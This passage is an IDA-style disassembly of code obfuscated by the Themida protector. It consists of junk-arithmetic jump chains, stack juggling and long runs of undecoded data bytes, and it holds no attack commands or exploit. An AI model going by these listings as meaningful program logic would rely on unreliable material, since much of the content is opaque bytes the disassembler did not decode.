; ---------------------------------------------------------------------------

loc_5388D2:				; CODE XREF: Themida_:005381A2j
		push	dword ptr [esp]
		pop	ecx
		push	esi
		jmp	loc_5362EA
; ---------------------------------------------------------------------------
		dd 0C181E189h, 4, 8704C183h, 0C15C240Ch, 504908E9h, 0BD2C9EB8h
		dd 0FFC13142h, 81582434h, 4C4h,	67EF2D00h, 0C8294753h
		dd 67EFBD55h, 3DE94753h, 9FFFFFBh, 0F4E91C5Fh, 31FFFFEDh
		dd 1C33241Ch, 0CFF5C24h, 38E99C24h, 81FFFFCAh, 2E0479C3h
		dd 5DEB810Bh, 8193A915h, 8E348DCBh, 1EB8102h, 52000000h
		dd 75DBBF57h, 77BA5A7Dh, 29813CF5h, 0D3295FFAh,	5A2434FFh
		dd 0E904C483h, 0FFFFCA03h, 7EC7814Fh, 891EDCC3h, 0E3C15FFBh
		dd 0C14B4B07h, 0C38105EBh, 1C677EB1h, 82D2F381h, 0DD89132Dh
		dd 0FFFD82E9h, 4DDDF7FFh, 1F70E9h, 0FA295D00h, 0FFEA815Fh
		dd 0C1030B5Ch, 0D2F708E2h, 1934F281h, 0D789C6A7h, 769E9h
		dd 68E28900h, 39F5h, 0B8240489h, 191D2B89h, 3EE1E9h, 0E8295900h
		dd 4045685Dh, 14890000h, 968C6824h, 315A4043h, 24148BD0h
		dd 212EE956h, 248B0000h, 0DA90E924h, 0E289FFFFh, 4C281h
		dd 0C2810000h, 4, 5EC8E9h, 241C3100h, 8B241C33h, 0CD22424h
		dd 5CE99C24h, 8BFFFFC9h, 89512414h, 4C181E1h, 81000000h
		dd 4C1h, 240C8700h, 5724248Bh, 42474FFh, 24048F5Fh, 6424248Bh
		dd 0E9028966h, 0FFFFC92Fh, 54243489h, 5BB3E9h, 5DE92900h
		dd 0E9240C87h, 5B69h
; ---------------------------------------------------------------------------

loc_538A48:				; CODE XREF: Themida_:005365FFj
		push	616D2DDFh
		pop	esi
		push	1F4Dh
		mov	[esp], eax
		push	328h
		mov	[esp], esi
		mov	esi, 9E92D222h
		jmp	loc_53977F
; ---------------------------------------------------------------------------
aQsve		db 'QéV…',0
		align 2
		dw 5B5Fh
		dd 4EC81h, 14890000h, 9BD5524h,	0BA443638h, 36CC07FBh
		dd 555DEA01h, 4679F0BDh, 0B2BE5669h, 811C7B13h,	59759FEEh
		dd 450BE931h, 0E1D10000h, 0D5F7E987h, 5F54E9h, 53595400h
		dd 0EC44E768h, 76E95B64h
		db 5Ah,	2 dup(0)
; ---------------------------------------------------------------------------

loc_538AB7:				; CODE XREF: Themida_:0053D197j
		add	esp, 4
		jmp	loc_53690C
; ---------------------------------------------------------------------------
		db 5
		dd 37311175h, 3851E105h, 41100537h, 0C8011C08h,	841102Dh
		dd 51E12D1Ch, 0BB533738h, 663F161Ch, 7DBDE9h, 240C8700h
		dd 8953E9h, 5BDF0100h, 4E06E9h,	0AB0F6600h, 0E99C2404h
		dd 0FFFFC863h, 0C181F901h, 6AA3050Dh, 0FFED94E9h
		db 0FFh
byte_538B0D	db 0FFh, 34h, 24h	; DATA XREF: Themida_:00535144o
		dd 2E6BE9h, 3F0DB800h, 0F001C11Dh, 7E8C15Eh, 0C0A6BF57h
		dd 82E98933h
		db 6Ah,	2 dup(0)
; ---------------------------------------------------------------------------

loc_538B2B:				; CODE XREF: Themida_:0053D4A2j
		sub	edi, 4
		jmp	loc_53A7B6
; ---------------------------------------------------------------------------
		dw 835Bh
		dd 9BE904ECh
		db 25h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_538B3F:				; CODE XREF: Themida_:0053C987j
		mov	[esp], esp
		add	dword ptr [esp], 4
		jmp	loc_53ADDC
; ---------------------------------------------------------------------------
		db 0E9h
		dd 0FFFFC813h, 2434335Fh, 33243431h, 248B2434h,	1C77FF24h
		dd 3EFF6857h, 34890000h, 7B45BE24h, 30E9402Ch
		db 20h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_538B73:				; CODE XREF: Themida_:0053AF60j
		add	esi, ecx
		pop	ecx
		xor	esi, [esp]
		xor	[esp], esi
		xor	esi, [esp]
		mov	esp, [esp]
		imul	cl
		movzx	cx, ah
		push	small 3077h
		jmp	loc_53DB8E
; ---------------------------------------------------------------------------

loc_538B91:				; CODE XREF: Themida_:00539D5Cj
		add	ebp, 4
		jmp	loc_53AF65
; ---------------------------------------------------------------------------
byte_538B99	db 66h,	8Bh, 4		; DATA XREF: Themida_:00535150o
		dd 44016824h, 14890000h, 0E95A5424h, 0FFFFD890h
; ---------------------------------------------------------------------------

loc_538BAC:				; CODE XREF: Themida_:00536619j
		pop	ecx
		sub	ebx, 2C503BD9h
		add	ebx, edi
		push	864h
		mov	[esp], ebp
		jmp	loc_5367C4
; ---------------------------------------------------------------------------

loc_538BC2:				; CODE XREF: Themida_:00536982j
		xchg	eax, [esp]
		pop	esp
		jmp	loc_53614D
; ---------------------------------------------------------------------------
		db 8Bh
		dd 0C481243Ch, 4, 642568h, 0D033E900h, 0E954FFFFh, 606Bh
; ---------------------------------------------------------------------------

loc_538BE4:				; CODE XREF: Themida_:005371A1j
		mov	edi, 4
		jmp	loc_5384AD
; ---------------------------------------------------------------------------

loc_538BEE:				; CODE XREF: Themida_:00535715j
		xor	edi, 3D4545ABh
		push	eax
		mov	eax, 0F40AC680h
		jmp	loc_53ED33
; ---------------------------------------------------------------------------
		db 31h
		dd 0FD895EF7h, 81243C8Bh, 4C4h,	83D5F700h, 0D5F701EDh
		dd 0F6E2C581h, 0E801EC66h, 52242C8Bh, 0C281E289h, 4, 8704C283h
		dd 0D9E92414h, 5F00001Dh, 61C4EA81h, 57090060h,	2434FF1Ch
		dd 565685Ah, 1C890000h,	81E38924h, 4C3h, 82B9E900h, 48F0000h
		dd 0C3835C24h, 241C8702h, 6624248Bh, 5024048Bh,	393068h
		dd 48F5400h, 24048324h,	0EFE95804h, 83000059h, 0F781FFEFh
		dd 0EFC5DBEh, 0D8FBEF81h, 0FA8989A0h, 5E1EE9h, 24048900h
		dd 6824048Bh, 6649h, 0E9241489h, 34BFh
; ---------------------------------------------------------------------------

loc_538CA4:				; CODE XREF: Themida_:0053ED38j
		pop	edi
		sub	ebp, ebx
		jmp	loc_53B703
; ---------------------------------------------------------------------------
		dd 24348B54h, 4C481h, 6EE90000h, 0FF00008Ah, 8B042474h
		dd 0C4832404h, 24048F04h, 6ED6E95Ch, 0C5830000h, 242C8702h
		dd 0E924248Bh, 1CC3h, 241EB850h, 380D7870h, 55C7F02h, 491A78DDh
		dd 41E8BB53h, 0D829A63Bh, 58C1895Bh, 0C8BCD89h,	4C48324h
		dd 4337BB53h, 434304B4h, 6A9EF381h, 0DD013E39h,	6336E95Bh
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_538D16:				; CODE XREF: Themida_:0053B642j
		sub	eax, 3AD274E4h
		add	eax, 44371EC8h
		sub	eax, 1
		push	ecx
		mov	ecx, 2B6E34A7h
		jmp	loc_536E1C
; ---------------------------------------------------------------------------
		dd 9EE9D388h, 81000014h, 4C4h, 7DE94800h, 81FFFFF8h, 790178EBh
		dd 57C38126h, 836C7364h, 6EE904ECh
		db 0F6h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_538D57:				; CODE XREF: Themida_:0053E665j
		pop	esi
		add	[esp+4], ebx
		mov	ebx, [esp]
		push	eax
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp]
		pop	esp
		mov	eax, [esp]
		jmp	loc_53D908
; ---------------------------------------------------------------------------
		dd 6624248Bh, 6824148Bh, 35ADh,	54242C89h, 654EE9h, 0C4CC8000h
		dd 0E973C480h, 2334h, 360FEF81h, 295A4574h, 0C3815FFBh
		dd 84250BFh, 35ECEB81h,	0EB8109A0h, 62514AA3h, 0C381C329h
		dd 62514AA3h, 35ECC381h, 0EB8109A0h, 84250BFh, 44A3C381h
		dd 0F662EEEh, 26E900B6h, 0B8FFFFD5h, 5B815635h,	7FE9D0F7h
		dd 89000051h, 9C502414h, 0FFC576E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_538DED:				; CODE XREF: Themida_:00536D88j
		mov	eax, [esp]
		add	esp, 4
		jmp	loc_53B9C8
; ---------------------------------------------------------------------------

loc_538DFB:				; CODE XREF: Themida_:00539BBBj
		pop	dword ptr [esp]
		mov	esp, [esp]
		movzx	cx, al
		jmp	loc_53DACE
; ---------------------------------------------------------------------------
word_538E0A	dw 0FF54h		; DATA XREF: Themida_:00535094o
		dd 7AE92434h, 59FFFFE2h, 0F239E952h, 0E959FFFFh, 0A1Fh
		dd 2475F781h, 0F781399Eh, 66B376E0h, 71E1C781h,	0E7C1588Ch
		dd 43C78102h, 0E9EAA997h, 0FFFFEC7Dh, 81E78957h, 4C7h
		dd 0A2E95300h, 5A00001Eh
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		jmp	loc_5355ED
; ---------------------------------------------------------------------------
		dd 5C240C87h, 4C481h, 0C3810000h, 69E02182h, 449BEB81h
		dd 0C3295193h, 449BC381h, 56505193h, 0FB390A68h, 814E5E08h
		dd 0CFE458C6h, 63DE971h, 0EE810000h, 346D4DF3h,	77B6E95Dh
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_538EA2:				; CODE XREF: Themida_:005391A3j
		mov	esi, edi
		jmp	loc_535C94
; ---------------------------------------------------------------------------
		db 89h,	0Ch, 24h
		dd 1B78EDB9h, 56D1F773h, 1B78F0BEh, 5EF10173h, 0E959CB01h
		dd 0FFFFD8BDh
; ---------------------------------------------------------------------------

loc_538EC4:				; CODE XREF: Themida_:00541539j
		xor	dword ptr [esp], 6411547Ch
		mov	eax, [esp]
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		jmp	loc_53F7A5
; ---------------------------------------------------------------------------

loc_538EDF:				; CODE XREF: Themida_:0053DB92j
		movzx	cx, al
		push	cx
		pushf
		jmp	loc_535363
; ---------------------------------------------------------------------------

loc_538EEB:				; CODE XREF: Themida_:0053704Bj
		xor	eax, 74F0011Eh
		xor	eax, 0DEBCBA24h
		jmp	loc_539D59
; ---------------------------------------------------------------------------
aWst		db 'Wéâ ',0
		align 10h

loc_538F00:				; CODE XREF: Themida_:0053ACB6j
		mov	edi, esp
		push	ebx
		mov	ebx, 3C8C0B69h
		dec	ebx
		jmp	loc_5404EA
; ---------------------------------------------------------------------------
		dw 0C146h
		dd 0D5E904EEh, 8700004Dh, 248B2434h, 2434FF24h,	65D66859h
		dd 2C890000h, 815D5424h, 4C5h, 58545000h, 405h,	4E88300h
		dd 6820E9h
		db 0
; ---------------------------------------------------------------------------

loc_538F41:				; CODE XREF: Themida_:00541610j
		mov	ebp, 4A4B0954h
		sub	ebp, 1
		push	esi
		mov	esi, 410D30FBh
		push	edx
		mov	edx, 0C9711BCh
		jmp	loc_539946
; ---------------------------------------------------------------------------
		db 83h,	4, 24h
		dd 240C8B04h, 81E18951h, 4C1h, 4BD5500h, 1000000h, 0DE58E9E9h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_538F7A:				; CODE XREF: Themida_:00541778j
		mov	esp, [esp]
		mov	[esp], dx
		push	ax
		pushf
		jmp	loc_535363
; ---------------------------------------------------------------------------
byte_538F89	db 0FFh, 34h, 24h	; DATA XREF: Themida_:00535178o
		dd 0FFE368E9h, 4B9FFh, 0CF010000h, 702E9h, 2434FF00h
		db 58h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	esp, 4
		mov	[esp], ecx
		push	4
		mov	ecx, [esp]
		push	edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp]
		jmp	loc_541605
; ---------------------------------------------------------------------------
		dw 0E958h
		dd 273h, 4C381h, 1C870000h, 0E9555C24h,	3524h, 2C681h
		dd 34870000h, 24248B24h, 1C8BD800h, 0E1895124h,	0FFEB30E9h
		dd 0F7D0F7FFh, 28BF57D8h, 2130A872h, 56485FF8h,	5FFDD8BEh
		dd 5EF031DFh, 38E0EA81h, 0C22902D4h, 38E0C281h,	0E95802D4h
		dd 0FFFFF7E2h, 4C6815Eh, 55000000h, 350BE9h, 287DB300h
		dd 0ABE95BDEh, 29000075h, 240C8BCBh, 4C481h, 0C3010000h
		dd 2FB95157h, 0BF2D1F70h, 6EE100B5h, 5EFC14Fh, 4710C781h
		dd 0F781079Fh, 557FF35Eh, 8159CF29h, 88469AEFh,	5EFC138h
		dd 0DF6C781h, 5FE92CDDh, 89000000h, 5E542434h, 1A4EBA52h
		dd 0C281539Ah, 0AC65E5B6h, 505AD601h, 140CE9h, 405AB900h
		dd 0CD013B05h, 0FFD925E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_5390A9:				; CODE XREF: Themida_:005417A4j
		pop	ebp
		xchg	eax, [esp]
		pop	esp
		and	eax, ebp
		pop	ebp
		shr	eax, 0Eh
		jmp	loc_53F148
; ---------------------------------------------------------------------------
		db 81h,	0C4h, 4
		dd 50000000h, 0A5AE9h, 7EEE8000h, 148BF530h, 4C48324h
		dd 8904EC83h, 26E92414h, 89FFFFECh, 60C5E9E0h, 0E7D10000h
		dd 18D0EF81h, 0EB81605Eh, 61A46482h, 43C2C381h,	0FB016A54h
		dd 43C2EB81h, 0D3686A54h, 89000026h, 47B9240Ch,	0D158150Bh
		dd 63FAE9E1h, 315A0000h, 796FE9FEh, 0C7810000h,	13523FDEh
		dd 2C78159h, 87000000h,	248B243Ch, 0F9C3E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_539132:				; CODE XREF: Themida_:0053D715j
		sub	ah, 0Fh
		neg	ah
		sub	ah, 7Eh
		mov	ch, ah
		mov	eax, [esp]
		jmp	loc_53A15C
; ---------------------------------------------------------------------------
		dd 0EE81D6F7h, 2AFB989Ah, 348BF029h, 4C48124h, 5F000000h
		dd 69DBE9h
		db 0
; ---------------------------------------------------------------------------

loc_53915D:				; CODE XREF: Themida_:0053BEF6j
		mov	edi, [esp]
		jmp	loc_53FD1D
; ---------------------------------------------------------------------------
		db 68h,	0D6h, 34h
		dd 4890000h, 82E7B824h,	0C38136B7h, 40EE5AABh, 0EB81C301h
		dd 40EE5AABh, 69CBE9h, 53515800h, 0B82536BBh, 0FCB85053h
		dd 0E9552C51h, 7BDh
; ---------------------------------------------------------------------------

loc_539198:				; CODE XREF: Themida_:005388AFj
		mov	edx, 226B6A61h
		push	edi
		mov	edi, 4D2FDA7Ah
		jmp	loc_538EA2
; ---------------------------------------------------------------------------
		dd 2C0BBE56h, 0E6C12858h, 0F7E6D108h, 0AFF681DEh, 892B4398h
		dd 81525EF2h, 5536242Ch, 0E95B2242h, 7592h, 8124348Bh
		dd 4C4h, 0F404E900h, 0C909FFFFh, 3F3CE9h, 24048F00h, 4240483h
		dd 83243C8Bh, 0E95304C4h, 85F3h, 88FDB652h, 0D8F65AF0h
		dd 0C886D0F6h, 0FFE12DE9h, 58C501FFh, 8B242C87h, 81682424h
		dd 89000027h, 0EC81241Ch, 4, 83242489h,	8B042404h, 0E953241Ch
		dd 0FFFFEBFBh, 0C5B85051h, 0B91F1310h, 1F1310C9h, 158C129h
		dd 0C28359CAh, 24148704h, 93E9575Ch, 80FFFFF9h,	0C8000FE9h
		dd 50536659h, 234868h, 241C8900h, 500DE9h
		db 0
; ---------------------------------------------------------------------------

loc_539261:				; CODE XREF: Themida_:00536A6Dj
		pop	ebx
		add	ecx, 90BEE4A5h
		add	edx, ecx
		pop	ecx
		push	ebx
		mov	ebx, 4
		add	edx, ebx
		jmp	loc_53BBC5
; ---------------------------------------------------------------------------

loc_539278:				; CODE XREF: Themida_:00540DAEj
		add	dword ptr [esp], 4
		pop	edx
		add	edx, 4
		push	ecx
		mov	ecx, 2
		sub	esp, 4
		mov	[esp], ecx
		mov	ecx, 162C3ACDh
		add	edx, ecx
		mov	ecx, [esp]
		add	esp, 4
		sub	edx, ecx
		sub	edx, 162C3ACDh
		mov	ecx, [esp]
		add	esp, 4
		push	edx
		push	dword ptr [esp+4]
		mov	edx, [esp]
		jmp	loc_53A05A
; ---------------------------------------------------------------------------

loc_5392BA:				; CODE XREF: Themida_:0053B44Bj
		add	ebp, 5B013530h
		jmp	loc_535A64
; ---------------------------------------------------------------------------
		db 8Bh,	4, 24h
		dd 0E904C483h, 2838h, 0FEFAE180h, 0C2E980C9h, 0FFEAF7E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_5392DD:				; CODE XREF: Themida_:0053DDF4j
		xor	ebx, [esp]
		pop	esp
		jmp	loc_535363
; ---------------------------------------------------------------------------

loc_5392E6:				; CODE XREF: Themida_:00537D51j
		pop	dword ptr [esp]
		pop	esp
		sub	[esp], eax
		pushf
		jmp	loc_535363
; ---------------------------------------------------------------------------
		db 0BEh
		dd 4, 835EF301h, 0E95302C3h, 15Bh, 0E962EA80h, 0FFFFDB51h
		dd 1C8BDF29h, 4C48324h,	835FFB01h, 1C8704C3h, 24248B24h
		dd 5A2434FFh, 1BA068h, 243C8900h, 0BA52E789h, 4, 815AD701h
		dd 4ECh, 7F74E900h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_539342:				; CODE XREF: Themida_:0053B50Aj
		mov	ebx, esi
		mov	esi, [esp]
		add	esp, 4
		pop	ecx
		and	eax, ebx
		push	dword ptr [esp]
		mov	ebx, [esp]
		jmp	loc_53CCA7
; ---------------------------------------------------------------------------
		dd 72322EBAh, 5AD53101h, 284BE9h, 5BD98900h, 0E941D9F7h
		dd 0FFFFE3A5h, 4C481h, 54560000h, 8124348Bh, 4C4h, 4C68100h
		dd 53000000h, 0C381E389h, 4, 4EB81h, 1C870000h,	2C895C24h
		dd 4BD24h, 0B1E90000h, 87FFFFDFh, 0D35C2404h, 0E99C243Ch
		dd 0FFFFBFAFh
; ---------------------------------------------------------------------------

loc_5393B4:				; CODE XREF: Themida_:0053EF00j
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp]
		mov	esp, [esp]
		mov	edi, [esp]
		push	ebp
		jmp	loc_5386B2
; ---------------------------------------------------------------------------

loc_5393CF:				; CODE XREF: Themida_:005416B2j
		xor	[esp], edx
		xor	edx, [esp]
		pop	esp
		mov	[esp], eax
		jmp	loc_538158
; ---------------------------------------------------------------------------
		dw 74FFh
		dd 8F5E0424h, 248B2404h, 2404D224h, 0BF71E99Ch,	295AFFFFh
		dd 6084E9D8h, 248B0000h, 9CC83B24h, 0FFBF5EE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_539405:				; CODE XREF: Themida_:005396CDj
		sub	esi, 0FFFFFFFFh
		shl	esi, 2
		add	esi, 7CB81C9Bh
		add	eax, esi
		mov	esi, [esp]
		add	esp, 4
		push	dword ptr [edi+eax*4]
		mov	eax, [esp]
		push	edx
		push	13BEh
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	edx
		push	eax
		mov	eax, 4
		jmp	loc_536F71
; ---------------------------------------------------------------------------
		dw 0C483h
		dd 0E9C10104h, 3C94h, 86C180h, 0FE0859CFh, 0FFCC24E9h
		dd 51A68FFh, 41E90000h,	0FF00002Dh, 5B042474h, 8B24048Fh
		dd 0F1F62424h, 0CCB60F66h, 34EE6866h, 240C8966h, 0C8B60F66h
		dd 0E99C5166h, 762Ch, 0C15EF021h, 0C8310AE8h, 63E8E9h
		db 0
; ---------------------------------------------------------------------------

loc_539491:				; CODE XREF: Themida_:0053CBF5j
		add	edx, 1D9239CBh
		shr	edx, 8
		shr	edx, 8
		neg	edx
		xor	edx, 966DB9ECh
		or	ecx, edx
		jmp	loc_535EA5
; ---------------------------------------------------------------------------

loc_5394AC:				; CODE XREF: Themida_:0053D3D5j
		and	edx, ecx
		jmp	loc_53AEED
; ---------------------------------------------------------------------------
		db 8Bh
		dd 8952242Ch, 4C281E2h,	81000000h, 4C2h, 24148700h, 0FFE691E9h
		db 0FFh
aMsxa		db '¬é•€',0             ; DATA XREF: Themida_:005352E4o
		dw 8900h
		dd 0E9525EF0h, 3DBBh
; ---------------------------------------------------------------------------

loc_5394DC:				; CODE XREF: Themida_:0053F22Fj
		xor	ebx, [esp]
		mov	esp, [esp]
		jmp	loc_535363
; ---------------------------------------------------------------------------
		db 47h
		dd 8106E7C1h, 307C31C7h, 10DCE971h, 0D1880000h,	710FE9h
		dd 0FE95300h, 89000055h, 81E9243Ch, 81000063h, 4C1h, 0E9575200h
		dd 0FFFFC31Ah, 0F681D6F7h, 6AB863DAh, 5D7EE951h, 38E90000h
		dd 0B8FFFFBEh, 2, 48BC529h, 450DE924h, 0EE810000h, 538B3169h
		dd 2C68359h, 2474FF56h,	48F5E04h, 0C932E924h, 0DE88FFFFh
		dd 60D5E9h, 4E3C100h, 4B4BDBF7h, 0F381D3F7h, 67B02CB3h
		dd 15BD801h, 78122DD8h,	1C8B5FA7h, 36E95024h
		db 76h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_53957B:				; CODE XREF: Themida_:00535A02j
		add	ebx, 551E522Fh
		push	esi
		jmp	loc_53ABB7
; ---------------------------------------------------------------------------

loc_539587:				; CODE XREF: Themida_:00536875j
		push	edx
		push	esp
		pop	edx
		sub	esp, 4
		mov	[esp], ecx
		jmp	loc_53765D
; ---------------------------------------------------------------------------
		dd 0E9028864h, 0FFFFBDC3h, 97A7ED81h, 0EB018618h, 81EB295Dh
		dd 226A3CEBh, 0B8505D79h, 7D4C33ECh, 9218FB2Dh,	5E8C128h
		dd 60CDE940h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_5395C6:				; CODE XREF: Themida_:00536B92j
		add	bl, 12h
		sub	bl, 9Fh
		shr	bl, 3
		jmp	loc_53CD31
; ---------------------------------------------------------------------------
dword_5395D4	dd 240C8B66h, 405B68h, 243C8900h, 0E952E789h, 3C84h, 79ECC781h
					; DATA XREF: Themida_:0053517Co
		dd 5A57D589h, 8BD0895Fh, 77E92414h
		db 4Dh,	2 dup(0)
byte_5395FB	db 51h			; DATA XREF: Themida_:0053510Co
		dd 0FFC914E9h, 0C7815AFFh, 2742FDBh, 31E9C729h,	5900003Dh
		dd 9E04D800h, 3D9468h, 240C8900h, 5025B353h, 305A68h, 241C8900h
		dd 29B0D5B3h, 4EE9D828h
		db 0CFh, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_539633:				; CODE XREF: Themida_:005401BEj
		mov	edi, 27586B5Eh
		mov	edx, 4136835Dh
		jmp	loc_5417A9
; ---------------------------------------------------------------------------
		dw 4E59h
		dd 1FB5E9h, 0EE315F00h,	5D2434FFh, 904C483h, 0E95E1C77h
		dd 0FFFFBD8Fh
; ---------------------------------------------------------------------------

loc_53965C:				; CODE XREF: Themida_:0053EE99j
		or	edx, eax
		shl	edx, 1
		push	6C5Eh
		mov	[esp], esi
		jmp	loc_53C6DD
; ---------------------------------------------------------------------------

loc_53966D:				; CODE XREF: Themida_:00536CC5j
		mov	[esp], ebp
		jmp	loc_53ECEF
; ---------------------------------------------------------------------------
		db 88h,	7Ch, 87h
		dd 0EC39E901h, 0B70FFFFFh, 5C30E9C0h, 48F0000h,	34895C24h
		dd 2BE24h, 0EB810000h, 13F34EC5h, 80E9F301h, 59FFFFE5h
		dd 2BA52h, 0D7010000h, 5024148Bh, 0FFFA2AE9h, 68E089FFh
		dd 3C20h, 0BB241C89h, 4, 754ABB53h, 8EE91381h
		db 0FEh, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_5396CB:				; CODE XREF: Themida_:0053EF96j
		not	esi
		jmp	loc_539405
; ---------------------------------------------------------------------------

loc_5396D2:				; CODE XREF: Themida_:00535C9Dj
		sub	esi, 1B1A55C7h
		pop	edx
		push	edi
		mov	edi, 0
		add	edi, 183F0F7Eh
		sub	edi, 77D64EF1h
		sub	edi, esi
		add	edi, 77D64EF1h
		sub	edi, 183F0F7Eh
		xchg	edi, esi
		pop	edi
		sub	esi, 8D7B93E7h
		sub	eax, 7E611055h
		jmp	loc_53B908
; ---------------------------------------------------------------------------
		dd 28FBCA81h, 0EA811DC4h, 3220568Dh, 30FCE281h,	0C281655Dh
		dd 4F347FCEh, 2853EA81h, 64E962AEh, 33FFFFC6h, 89E9240Ch
		dd 8B00005Bh, 0FF662424h, 0E99C2404h, 0FFFFBC1Fh, 405AD009h
		dd 2893BE56h, 0F6816927h, 65136934h, 7739EE81h,	0F001E332h
		dd 1ECE9h, 24148900h, 170468h, 243C8900h, 0FA55A0BFh, 1EF834Ah
		dd 30E9E781h, 0FCE92D3Eh
		db 0F4h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_53977F:				; CODE XREF: Themida_:00538A63j
		push	esi
		pop	eax
		mov	esi, [esp]
		jmp	loc_538217
; ---------------------------------------------------------------------------
		db 81h,	0E9h, 1
		dd 41000000h, 46E7E952h, 0C890000h, 75CAB924h, 0F18153ABh
		dd 53AB75CBh, 0C8BCF89h, 4C48324h, 34FFF821h, 0D4AEE924h
		dd 2C8BFFFFh, 46A9E924h, 0C4810000h, 4,	15B8F581h, 14E94DADh
		dd 80000047h, 0EEE9D3E6h, 51FFFFF8h, 0E9F988h, 88000000h
		dd 77FE9C8h, 0D5290000h, 0A37E9h, 1AE4BA00h, 0CA8132B1h
		dd 49F06DAFh, 524DE9h
		db 0
; ---------------------------------------------------------------------------

loc_5397FD:				; CODE XREF: Themida_:00535666j
		movzx	eax, al
		jmp	loc_53AADA
; ---------------------------------------------------------------------------
		db 4, 66h, 0E9h
		dd 9FCh, 8B5BD801h, 0C483243Ch,	2D836804h, 2C890000h, 0E7ADE924h
		dd 815EFFFFh, 8C0AE4C2h, 74EA811Bh, 0E90D5269h,	0FFFFBC36h
		dd 0C06FB551h, 0B1E907E5h, 83000025h, 348904ECh, 37E7BE24h
		dd 0DEF77A8Dh, 1E9DE87h, 8900006Bh, 4832424h, 815D0424h
		dd 4C5h, 0E9575300h, 1ACh, 4C481h, 97680000h, 89000019h
		dd 0E956243Ch, 1A3Dh
; ---------------------------------------------------------------------------

loc_53987C:				; CODE XREF: Themida_:0053E2B7j
		xchg	edi, [esp]
		pop	esp
		mov	[esp], cx
		mov	cl, 8Ch
		xor	al, cl
		mov	cx, [esp]
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		push	0B6Fh
		jmp	loc_53B4C8
; ---------------------------------------------------------------------------
		db 50h
		dd 300D71B8h, 1D58BA50h, 0EA81520Ah, 17B76A1Ah,	0C281C229h
		dd 17B76A1Ah, 8124048Bh, 4C4h, 24542900h, 24148B04h, 4C481h
		dd 4810000h, 0F871E524h, 0BA89E944h, 0F268FFFFh, 8900005Ch
		dd 0F4E9240Ch, 8900004Ah, 0EC83243Ch, 24248904h, 4240481h
		dd 5F000000h, 0FFE385E9h
		db 0FFh
byte_5398FD	db 8Fh,	2, 0E9h		; DATA XREF: Themida_:0053508Co
		dd 0FFFFBA5Fh
; ---------------------------------------------------------------------------

loc_539904:				; CODE XREF: Themida_:0053DF3Fj
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_535363
; ---------------------------------------------------------------------------
		dd 6624248Bh, 6824048Bh, 595Ch,	54243489h, 0E888E95Eh
		db 2 dup(0FFh)
word_539926	dw 77FFh		; DATA XREF: Themida_:00535104o
		dd 58669D1Ch, 24041966h, 168EE99Ch, 0E9580000h,	0FFFFC521h
		dd 24742958h, 3AE6E904h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_539946:				; CODE XREF: Themida_:00538F58j
		sub	esi, edx
		jmp	loc_53580D
; ---------------------------------------------------------------------------
		db 5Eh,	1, 0C7h
		dd 7182E9h, 28883500h, 0B83556D3h, 89AFB8A3h, 0D90158C1h
		dd 7DFFE9h, 71660D00h, 0F7502AEEh, 0D582414h, 693B4A82h
		dd 7D06BA52h, 0D00118A6h, 58C1295Ah, 0C8BCF01h,	0E7895724h
		dd 4C781h, 0C7830000h, 243C8704h, 4390E95Ch, 0F8040000h
		dd 0A7E9D000h
		db 0E8h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_5399A7:				; CODE XREF: Themida_:0053BED0j
		push	esi
		mov	esi, 36E871A2h
		mov	ecx, esi
		pop	esi
		or	edx, ecx
		pop	ecx
		and	edx, 5A3D2D96h
		jmp	loc_5353D7
; ---------------------------------------------------------------------------
		dw 0EB81h
		dd 0CCE44888h, 15BD801h, 13A32DC8h, 70E937ADh, 0E9FFFFD3h
		dd 753Eh
; ---------------------------------------------------------------------------

loc_5399D8:				; CODE XREF: Themida_:0053540Bj
		pop	esp
		jmp	loc_53A5F2
; ---------------------------------------------------------------------------

loc_5399DE:				; CODE XREF: Themida_:00536C8Aj
		push	edx
		push	dword ptr [esp+4]
		pop	edx
		pop	dword ptr [esp]
		pop	esp
		mov	[esp], eax
		jmp	loc_535410
; ---------------------------------------------------------------------------

loc_5399F0:				; CODE XREF: Themida_:0053D323j
		mov	ebp, edi
		pop	edi
		xor	ebp, 5DE163B1h
		xor	ebp, 59A10618h
		push	ebp
		add	dword ptr [esp], 594A14F8h
		pop	edx
		sub	edx, 594A14F8h
		pop	ebp
		jmp	loc_53718E
; ---------------------------------------------------------------------------
		dd 0C102B5BFh, 0D2AE925h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_539A1E:				; CODE XREF: Themida_:00535B7Aj
		add	eax, edi
		jmp	loc_53FD3B
; ---------------------------------------------------------------------------
		db 0BDh, 0C9h, 25h
		dd 0ED81222Fh, 5A641E4Ah, 0FFDCCFE9h, 348966FFh, 0E7BE6624h
		dd 0F029664Ch, 5665E66h, 1666A5Eh, 5E2D66D8h, 0BE5FE96Ah
		dd 0E5D1FFFFh, 20F8E9h,	0DFE95F00h, 0BE000072h,	752504B2h
